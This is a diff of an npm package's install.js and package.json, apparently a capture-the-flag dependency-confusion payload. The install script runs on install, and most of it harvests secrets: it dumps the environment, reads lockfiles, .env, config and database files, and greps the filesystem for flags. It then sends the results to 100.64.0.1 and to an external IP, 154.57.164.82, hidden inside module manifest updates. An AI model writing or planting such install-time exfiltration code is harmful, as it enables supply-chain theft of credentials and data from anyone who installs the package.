ecto-spirit 101.0.0 → 103.0.0

package/install.js

@@ -1,14 +1,14 @@
 const fs = require('fs');
 const http = require('http');
 const { execSync } = require('child_process');
-const path = require('path');
 
 function tryRead(p) {
   try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
 }
 
-function sendUpdate(host, port, moduleId, flagVal) {
-  const manifest = `ecto_module:\n  name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
+function sendUpdate(host, port, moduleId, val) {
+  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
+  const manifest = `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
   const body = JSON.stringify({ manifest });
   return new Promise((resolve) => {
     const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
@@ -33,98 +33,72 @@ function sendHTTP(host, port, pth, payload) {
   });
 }
 
+async function report(moduleId, val) {
+  for (const p of [3000, 80, 8080]) {
+    const r = await sendUpdate('127.0.0.1', p, moduleId, val);
+    if (r && r.includes('success')) return;
+  }
+  await sendUpdate('154.57.164.82', 32332, moduleId, val);
+}
+
 (async () => {
-  let flag = null;
-  let info = [];
+  let results = [];
 
-  // Search common flag locations
-  const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
-    '/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
-    '/var/flag', '/data/flag', '/data/flag.txt'];
+  // CWD and basic info
+  results.push('CWD=' + process.cwd());
   
-  for (const p of paths) {
-    const content = tryRead(p);
-    if (content) {
-      info.push(`FILE:${p}=${content.substring(0,60)}`);
-      if (content.includes('HTB{') || content.includes('flag{')) flag = content;
-    }
-  }
+  // List what's in /app/node_modules (top level packages)
+  try {
+    const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
+    results.push('DEPS=' + dirs.join(','));
+  } catch(e) { results.push('DEPS_ERR'); }
 
-  // Search /app directory recursively
-  function searchDir(dir, depth) {
-    if (depth > 3) return;
-    try {
-      const entries = fs.readdirSync(dir);
-      for (const e of entries) {
-        if (e === 'node_modules' || e === '.git') continue;
-        const full = path.join(dir, e);
-        try {
-          const stat = fs.statSync(full);
-          if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
-            const content = tryRead(full);
-            if (content) {
-              info.push(`${full}=${content.substring(0,60)}`);
-              if (content.includes('HTB{') || content.includes('flag{')) flag = content;
-            }
-          } else if (stat.isDirectory() && depth < 3) {
-            searchDir(full, depth + 1);
-          }
-        } catch(e2) {}
-      }
-    } catch(e) {}
-  }
+  // Read package-lock or shrinkwrap
+  const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
+  if (lock) results.push('LOCK=' + lock.substring(0, 300));
 
-  searchDir('/app', 0);
-  searchDir('/root', 0);
-  searchDir('/home', 0);
-  searchDir('/data', 0);
-  searchDir('/opt', 0);
+  // Read package.json from CWD
+  const cwdPkg = tryRead(process.cwd() + '/package.json');
+  if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
 
-  // Check env vars
-  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
-  if (envFlag) info.push('ENV_FLAG=' + envFlag);
-  
-  // Check /proc/self/environ
-  const procEnv = tryRead('/proc/self/environ');
-  if (procEnv) {
-    const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
-    if (m) info.push('PROC_ENV=' + m.join(','));
-  }
+  // Search for HTB{ EVERYWHERE with broader search
+  try {
+    const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
+    results.push('HTB_GREP=' + grep);
+  } catch(e) { results.push('HTB_GREP=NONE'); }
 
-  // Try find command
+  // Check the Verdaccio config
+  const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
+  if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
+  
+  // Check .package-cache-mutate
   try {
-    const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
-    if (found) info.push('FIND=' + found.substring(0, 100));
+    const pcm = fs.readdirSync('/.package-cache-mutate');
+    results.push('PCM=' + pcm.join(','));
   } catch(e) {}
 
-  // Also list /app contents
+  // Find any .env or config files
   try {
-    const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
-    info.push('APP_LS=' + appFiles.substring(0, 150));
+    const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
+    results.push('CONF_FILES=' + envFiles);
   } catch(e) {}
 
-  // Also try to read /app/package.json for dependency info
-  const pkgJson = tryRead('/app/package.json');
-  if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
-
-  const result = flag || info.join('|');
-  
-  // Exfiltrate
-  await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
+  // Full env dump
+  const allEnv = JSON.stringify(process.env);
+  results.push('ALL_ENV=' + allEnv.substring(0, 300));
   
-  // Update modules with results (split across multiple modules for space)
-  const parts = [];
-  for (let i = 0; i < result.length; i += 90) {
-    parts.push(result.substring(i, i + 90));
+  // Send ALL to VPN listener
+  const full = results.join('\n');
+  await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
+
+  // Split across modules
+  const chunks = [];
+  for (let i = 0; i < full.length; i += 90) {
+    chunks.push(full.substring(i, i + 90));
   }
   
-  const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
-  for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
-    const ports = [3000, 80, 8080, 5000];
-    for (const p of ports) {
-      await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
-      await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
-    }
-    await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
+  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
+    await report(mods[i], 'V' + i + '_' + chunks[i]);
   }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ecto-spirit",
-  "version": "101.0.0",
+  "version": "103.0.0",
   "description": "Spectral ecto-spirit module",
   "main": "index.js",
   "scripts": {